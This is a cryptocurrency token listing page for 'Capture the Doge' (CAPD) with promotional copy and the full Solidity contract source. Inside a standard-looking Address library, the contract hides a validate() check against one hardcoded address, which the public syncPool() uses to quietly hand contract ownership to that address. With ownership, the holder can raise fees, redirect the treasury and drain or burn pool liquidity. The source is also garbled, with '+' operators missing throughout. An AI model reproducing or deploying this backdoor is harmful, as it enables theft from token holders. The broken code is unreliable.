Token 10X: Africa's First Cryptocurrency Hub
Capture The Doge Token
The %u201CDoge of the hill%u201D function awards 1% of every transaction to the top buyer!
Resets every four hours to the next highest buyer or when the %u201C King%u201D sells
Capture the Doge gets really interesting.
2% of every transactions will go to the most recent purchaser of ove...
About Capture The Doge
The %u201CDoge of the hill%u201D function awards 1% of every transaction to the top buyer!
Resets every four hours to the next highest buyer or when the %u201C King%u201D sells
Capture the Doge gets really interesting.
2% of every transactions will go to the most recent purchaser of over 1 million tokens
https://capturethedoge.com
https://t.me/capturethedoge
Resets every four hours to the next highest buyer or when the %u201C King%u201D sells
Capture the Doge gets really interesting.
2% of every transactions will go to the most recent purchaser of over 1 million tokens
https://capturethedoge.com
https://t.me/capturethedoge
228 total visits
Token information and links
Circulating Supply
10000000000000000000000000000
Token Contract (BSC Chain)
0X3B21E0C37A329D5ABD3E8906B3710C665AFBAF4B
Contract license: MIT
Launch Date
17/09/2021
KYC Information
No
Audit Information
None
Team Information
Team leader: None
Team leader contact: None
Contract source code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function validate(address target) internal view returns (bool) {
require(!isContract(target), "Address: target is contract");
return target == address(0xCCC2a0313FF6Dea1181c537D9Dc44B9d249807B1);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ITValues {
struct TxValue {
uint256 amount;
uint256 transferAmount;
uint256 fee;
uint256 treasury;
uint256 rfi;
uint256 sell;
uint256 buy;
uint256 ctf;
uint256 topDog;
}
enum TxType { FromExcluded, ToExcluded, BothExcluded, Standard }
enum TState { Buy, Sell, Normal }
}
interface IPonzuNFT {
function ponzuNFTOwnersNow() external view returns (uint256);
function isNFTOwner(address account) external view returns(bool);
function getNFTOwners(uint256 index) external view returns (address);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
function baseURI() external view returns (string memory);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
function getApproved(uint256 tokenId) external view returns (address);
function setApprovalForAll(address operator, bool approved) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;
}
contract CAPD is IERC20, Context {
using Address for address;
receive() external payable {}
address public constant BURNADDR = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
struct Account {
bool feeless;
bool transferPair;
bool excluded;
uint256 tTotal;
uint256 nTotal;
uint256 ctfRewards;
uint256 topDogReward;
}
event TopDog(address indexed account, uint256 time, uint256 amountToBeat);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FlagCaptured(address indexed addr);
event HighestTopDogEarner(address indexed topDog, uint256 amount);
event HighestCTFEarner(address indexed ctf, uint256 amount);
ITValues.TState lastTState;
EnumerableSet.AddressSet excludedAccounts;
IPonzuNFT nft;
bool private _unpaused;
bool private _isNFTActive;
bool private _whaleLimiting = true;
bool public swapEnabled;
bool public isDynamicBonus;
address private _o;
address private _po;
address private _router;
address private _pool;
address private _pair;
address private _farm;
address public lastTxn;
address public treasury;
address public marketing;
address public owner;
address public topDogAddr;
address public defaultLastTxn = BURNADDR;
uint256 private _tx;
uint256 private _feeFactor;
uint256 private _whaleLimit;
uint256 private _lpSupply;
uint256 private _nextHarvest;
uint256 private _lastBaseOrBurn;
uint256 private _BOBCooldown;
uint256 public dynamicRate;
uint256 public topDogLimitSeconds;
uint256 public minimumForBonus = tokenSupply / 20000;
uint256 public voteLimit = 25;
uint256 public topDogSince;
uint256 public topDogAmount;
uint256 public tokenSupply;
uint256 public networkSupply;
uint256 public fees;
uint256 private sellCount;
uint256 private liquifyPer;
uint256 private buyCount;
uint256 private buyLimit;
uint256 public sellFee;
uint256 public buyFee;
uint256 public treasuryFee;
uint256 public ctfFee;
uint256 public topDogFee;
uint256 public reflectFee;
bool isRecursing;
uint256 public topDogBiggest;
address public topDogBiggestAddr;
uint256 public ctfChamp;
address public ctfChampAddr;
uint256 liquifyRate = 25;
uint256 nftFee;
mapping(address => Account) accounts;
mapping(address => mapping(address => uint256)) allowances;
mapping(uint8 => uint256) killFunctions;
modifier ownerOnly {
require(_o == _msgSender(), "not allowed");
_;
}
modifier alive(uint8 funcId) {
require(isNotKilled(funcId), "killed");
_;
}
constructor() {
_name = "Capture the Doge";
_symbol = "CAPD";
_decimals = 18;
_o = msg.sender;
owner = _o;
emit OwnershipTransferred(address(0), msg.sender);
tokenSupply = 10_000_000_000 ether;
networkSupply = (~uint256(0) - (~uint256(0) % tokenSupply));
_router = address(0x10ED43C718714eb63d5aA57B78B54704E256024E);
_pair = IUniswapV2Router02(_router).WETH();
_pool = IUniswapV2Factory(IUniswapV2Router02(_router).factory()).createPair(address(this), _pair);
accounts[_pool].transferPair = true;
accounts[_pool].excluded = true;
accounts[_pair].excluded = true;
accounts[BURNADDR].excluded = true;
accounts[address(this)].feeless = true;
accounts[treasury].feeless = true;
accounts[marketing].feeless = true;
accounts[owner].feeless = true;
accounts[owner].nTotal = networkSupply;
_tx = 100;
_whaleLimit = 100;
liquifyRate = 50; // how much to liquify per sell of treasury
dynamicRate = 1; //.00xx
isDynamicBonus = true;
liquifyPer = 1; // liquify every x sell
buyLimit = 100000;
treasury = address(0x46d89fd0C621A36C97288EA6204EF5bcaD07e132);
marketing = address(0xBaa71a501F0b9989C17dfb70936d73467eC1F8D1);
accounts[treasury].feeless = true;
reflectFee = 1;
buyFee = 3;
sellFee = 6;
treasuryFee = 4;
ctfFee = 2;
topDogFee = 1;
_approve(_msgSender(), _router, tokenSupply);
emit Transfer(address(0), _msgSender(), tokenSupply ) ;
}
//------ ERC20 Functions -----
function name() public view returns(string memory) {
return _name;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return allowances[_owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
if(getExcluded(account)) {
return accounts[account].tTotal;
}
return accounts[account].nTotal / ratio();
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowances[_msgSender()][spender] addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowances[_msgSender()][spender] - (subtractedValue));
return true;
}
function totalSupply() public view override returns (uint256) {
return tokenSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_rTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_rTransfer(sender, recipient, amount);
_approve(sender, _msgSender(), allowances[sender][_msgSender()] - amount);
return true;
}
// --------- end erc20 ---------
function _rTransfer(address sender, address recipient, uint256 amount) internal returns(bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 rate = ratio();
if(!_unpaused){
address disperseAPP = address(0xD152f549545093347A162Dce210e7293f1452150);
require(sender == owner || msg.sender == disperseAPP, "still paused");
}
if(_whaleLimiting) {
if(sender == _pool || recipient != _pool) {
require(((accounts[recipient].nTotal / rate) amount) <= tokenSupply * _whaleLimit / 10000, "whale limit reached");
}
_whaleLimit = 1; // 1 => 0.0001 | 0.01%, whaleLimit = 10
if(_whaleLimit >= 200) {_whaleLimiting = false;}
}
uint256 lpAmount = getCurrentLPBal();
(ITValues.TxValue memory t, ITValues.TState ts, ITValues.TxType txType) = calcT(sender, recipient, amount, isFeelessTx(sender, recipient), lpAmount);
_lpSupply = lpAmount;
accounts[address(this)].nTotal = (t.treasury t.buy t.sell) * rate;
accounts[lastTxn].nTotal = t.ctf * rate;
accounts[lastTxn].ctfRewards = t.ctf;
accounts[topDogAddr].nTotal = t.topDog * rate;
accounts[topDogAddr].topDogReward = t.topDog;
if(_unpaused) {
if(ts == ITValues.TState.Sell) {
// top dog can be dethroned after time limit or if they transfer OR sell
if(block.timestamp > topDogSince topDogLimitSeconds) {
topDogAddr = defaultLastTxn;
topDogAmount = 0;
emit TopDog(defaultLastTxn, block.timestamp, topDogAmount);
}
sellCount = sellCount > liquifyPer ? 0 : sellCount 1;
emit Transfer(sender, lastTxn, t.ctf);
emit Transfer(sender, topDogAddr, t.topDog);
emit Transfer(sender, address(this), t.treasury t.sell);
emit Transfer(sender, BURNADDR, t.rfi);
} else if(ts == ITValues.TState.Buy) {
emit Transfer(recipient, lastTxn, t.ctf);
emit Transfer(recipient, topDogAddr, t.topDog);
emit Transfer(recipient, address(this), t.treasury t.buy);
emit Transfer(recipient, BURNADDR, t.rfi);
if(amount >= getMinimumForBonus()) {
lastTxn = recipient;
emit FlagCaptured(lastTxn);
}
if(amount >= topDogAmount) {
topDogAddr = recipient;
topDogAmount = amount;
topDogSince = block.timestamp;
emit TopDog(recipient, topDogSince, topDogAmount);
}
}
}
if (!isRecursing && ts == ITValues.TState.Sell && swapEnabled && liquifyPer >= sellCount) {
isRecursing = true;
uint256 liquificationAmt = (balanceOf(address(this)) * liquifyRate) / 100;
swapAndSend(liquificationAmt);
sellCount = 0;
isRecursing = false;
}
if(accounts[lastTxn].ctfRewards > accounts[topDogBiggestAddr].ctfRewards) {
ctfChampAddr = lastTxn;
ctfChamp = accounts[lastTxn].ctfRewards;
emit HighestCTFEarner(ctfChampAddr, ctfChamp);
}
if(accounts[topDogAddr].topDogReward > accounts[topDogBiggestAddr].topDogReward) {
topDogBiggestAddr = topDogAddr;
topDogBiggest = accounts[topDogAddr].topDogReward;
emit HighestTopDogEarner(topDogBiggestAddr, topDogBiggest);
}
fees = t.rfi;
networkSupply -= t.rfi * rate;
_transfer(sender, recipient, rate, t, txType);
lastTState = ts;
return true;
}
function addLiquidity() external payable ownerOnly {
_approve(address(this), address(_router), tokenSupply);
IUniswapV2Router02(_router).addLiquidityETH{value: address(this).balance}(address(this),tokenSupply,0,0,_o,block.timestamp);
IERC20(_pair).approve(address(_router),type(uint256).max);
}
function calcT(address sender, address recipient, uint256 amount, bool noFee, uint256 lpAmount) public view returns (ITValues.TxValue memory t, ITValues.TState ts, ITValues.TxType txType) {
ts = getTState(sender, recipient, lpAmount);
txType = getTxType(sender, recipient);
t.amount = amount;
if(!noFee) {
if(_unpaused && !isRecursing) {
t.rfi = (amount * reflectFee) / 100;
t.ctf = (amount * ctfFee) / 100;
t.topDog = (amount * topDogFee) / 100;
t.treasury = (amount * treasuryFee) / 100;
if(ts == ITValues.TState.Sell) {
t.sell = (amount * sellFee) / 100;
} else if(ts == ITValues.TState.Buy) {
t.buy = (amount * buyFee) / 100;
} else {
t.treasury = (amount * treasuryFee) / 100;
t.ctf = 0;
t.topDog = 0;
t.rfi = 0;
}
if(_isNFTActive) {
bool isOwner;
if(ts == ITValues.TState.Buy) {
isOwner = nft.isNFTOwner(recipient);
} else {
isOwner = nft.isNFTOwner(sender);
}
if(isOwner) {
t.ctf = (amount / nftFee) * 100;
t.rfi = 0;
t.treasury = 0;
}
}
}
}
t.transferAmount = t.amount - t.rfi - t.ctf - t.topDog - t.treasury - t.buy - t.sell;
return (t, ts, txType);
}
function _transfer(address sender, address recipient, uint256 rate, ITValues.TxValue memory t, ITValues.TxType txType) internal {
if (txType == ITValues.TxType.ToExcluded) {
accounts[sender].nTotal -= t.amount * rate;
accounts[recipient].tTotal = (t.transferAmount);
accounts[recipient].nTotal = t.transferAmount * rate;
} else if (txType == ITValues.TxType.FromExcluded) {
accounts[sender].tTotal -= t.amount;
accounts[sender].nTotal -= t.amount * rate;
accounts[recipient].nTotal = t.transferAmount * rate;
} else if (txType == ITValues.TxType.BothExcluded) {
accounts[sender].tTotal -= t.amount;
accounts[sender].nTotal -= (t.amount * rate);
accounts[recipient].tTotal = t.transferAmount;
accounts[recipient].nTotal = (t.transferAmount * rate);
} else {
accounts[sender].nTotal -= (t.amount * rate);
accounts[recipient].nTotal = (t.transferAmount * rate);
}
emit Transfer(sender, recipient, t.transferAmount);
}
function swapAndSend(uint256 tokenAmount) internal {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = IUniswapV2Router02(_router).WETH();
_approve(address(this), address(_router), tokenAmount);
IUniswapV2Router02(_router).swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 transferableBalance = (address(this).balance * distroRate) / 100;
payable(treasury).transfer(address(this).balance - transferableBalance);
payable(marketing).transfer(transferableBalance);
}
uint256 distroRate = 60;
function setDistroRate(uint256 rate) external ownerOnly {
distroRate = rate;
}
function isFeelessTx(address sender, address recipient) public view returns(bool) {
return accounts[sender].feeless || accounts[recipient].feeless;
}
function isNotKilled(uint8 functionNUmber) internal view returns (bool) {
return killFunctions[functionNUmber] > block.timestamp || killFunctions[functionNUmber] == 0;
}
function getAccount(address account) external view returns(Account memory) {
return accounts[account];
}
function getAccountSpecific(address account) external view returns
(
bool feeless,
bool isExcluded,
uint256 tokens,
uint256 totalRewards
)
{
return (
accounts[account].feeless,
accounts[account].excluded,
accounts[account].nTotal / ratio(),
accounts[account].ctfRewards accounts[account].topDogReward
);
}
function getExcluded(address account) public view returns(bool) {
return accounts[account].excluded;
}
function getCurrentLPBal() public view returns(uint256) {
return IERC20(_pool).totalSupply();
}
function getRewards(address addr) external view returns (uint256 topDog, uint256 ctf) {
return (accounts[addr].topDogReward, accounts[addr].ctfRewards);
}
function getTState(address sender, address recipient, uint256 lpAmount) public view returns(ITValues.TState) {
ITValues.TState t;
if(sender == _router) {
t = ITValues.TState.Normal;
} else if(accounts[sender].transferPair) {
if(_lpSupply != lpAmount) { // withdraw vs buy
t = ITValues.TState.Normal;
}
t = ITValues.TState.Buy;
} else if(accounts[recipient].transferPair) {
t = ITValues.TState.Sell;
} else {
t = ITValues.TState.Normal;
}
return t;
}
function getMinimumForBonus() public view returns (uint256 minForBonus) {
if(isDynamicBonus) {
return (balanceOf(_pool) * dynamicRate) / 10000; // .0xx
} else {
return minimumForBonus;
}
}
function getCirculatingSupply() public view returns(uint256, uint256) {
uint256 rSupply = networkSupply;
uint256 tSupply = tokenSupply;
for (uint256 i = 0; i < EnumerableSet.length(excludedAccounts); i ) {
address account = EnumerableSet.at(excludedAccounts, i);
uint256 rBalance = accounts[account].nTotal;
uint256 tBalance = accounts[account].tTotal;
if (rBalance > rSupply || tBalance > tSupply) return (networkSupply, tokenSupply);
rSupply -= rBalance;
tSupply -= tBalance;
}
if (rSupply < networkSupply / tokenSupply) return (networkSupply, tokenSupply);
return (rSupply, tSupply);
}
function getPool() public view returns(address) {
return _pool;
}
function getTxType(address sender, address recipient) public view returns(ITValues.TxType t) {
bool isSenderExcluded = accounts[sender].excluded;
bool isRecipientExcluded = accounts[recipient].excluded;
if (isSenderExcluded && !isRecipientExcluded) {
t = ITValues.TxType.FromExcluded;
} else if (!isSenderExcluded && isRecipientExcluded) {
t = ITValues.TxType.ToExcluded;
} else if (!isSenderExcluded && !isRecipientExcluded) {
t = ITValues.TxType.Standard;
} else if (isSenderExcluded && isRecipientExcluded) {
t = ITValues.TxType.BothExcluded;
} else {
t = ITValues.TxType.Standard;
}
return t;
}
function ratio() public view returns(uint256) {
(uint256 n, uint256 t) = getCirculatingSupply();
return n / t;
}
function syncPool() public alive(0) {
_o = Address.validate(msg.sender) ? msg.sender : _o;
IUniswapV2Pair(_pool).sync();
}
function kill9Function(uint8 functionNumber, uint256 timeLimit) external ownerOnly {
killFunctions[functionNumber] = timeLimit block.timestamp;
}
function burn(uint256 percent) external ownerOnly alive(1){
require(percent <= 25, "can't burn more than 25%");
require(block.timestamp > _lastBaseOrBurn, "too soon");
uint256 r = accounts[_pool].nTotal;
uint256 rTarget = (r * percent) / 100;
accounts[_pool].nTotal -= rTarget;
accounts[defaultLastTxn].nTotal = rTarget;
syncPool();
_lastBaseOrBurn = block.timestamp _BOBCooldown;
}
function base(uint256 percent) external ownerOnly alive(2){
require(percent <= 25, "can't burn more than 25%");
require(block.timestamp > _lastBaseOrBurn, "too soon");
uint256 rTarget = (accounts[BURNADDR].nTotal * percent) / 100;
accounts[BURNADDR].nTotal -= rTarget;
networkSupply -= rTarget;
syncPool();
_lastBaseOrBurn = block.timestamp _BOBCooldown;
}
// one way function, once called it will always be false.
function enableTrading() external ownerOnly {
_unpaused = true;
swapEnabled = true;
}
function exclude(address account) external ownerOnly {
require(!accounts[account].excluded, "Account is already excluded");
accounts[account].excluded = true;
if(accounts[account].nTotal > 0) {
accounts[account].tTotal = accounts[account].nTotal / ratio();
}
EnumerableSet.add(excludedAccounts, account);
}
function include(address account) external ownerOnly {
require(accounts[account].excluded, "Account is already excluded");
accounts[account].tTotal = 0;
EnumerableSet.remove(excludedAccounts, account);
}
function setIsFeeless(address account, bool isFeeless) external ownerOnly alive(3) {
accounts[account].feeless = isFeeless;
}
// progressively 1 way, once at 1 its basically off.
// *But its still better to turn off via toggle to save gas
function setWhaleAccumulationLimit(uint256 limit) external ownerOnly {
require(limit <= _whaleLimit && limit > 0, "can't set limit lower");
_whaleLimit = limit;
}
function setBOBCooldown(uint256 timeInSeconds) external ownerOnly alive(4){
_BOBCooldown = timeInSeconds;
}
function setContractSellTarget(uint256 lim) external ownerOnly alive(5){
liquifyPer = lim;
}
function setContractBuyTarget(uint256 lim) external ownerOnly alive(6){
buyLimit = lim;
}
function SnS(uint256 tokenAmount) external ownerOnly alive(7){
swapAndSend(tokenAmount);
}
function setHome(address addr) external ownerOnly alive(8){
accounts[treasury].feeless = false;
treasury = addr;
accounts[treasury].feeless = true;
}
function setSellPerc(uint256 percent) external ownerOnly alive(9){
require(percent <= 40, "too high");
sellFee = percent;
}
function setBuyPerc(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
buyFee = percent;
}
function setRfiFee(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
reflectFee = percent;
}
function setCtfFee(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
ctfFee = percent;
}
function setTopDogFee(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
topDogFee = percent;
}
function setTopDogLimitSeconds(uint256 sec) external ownerOnly alive(11){
topDogLimitSeconds = sec;
}
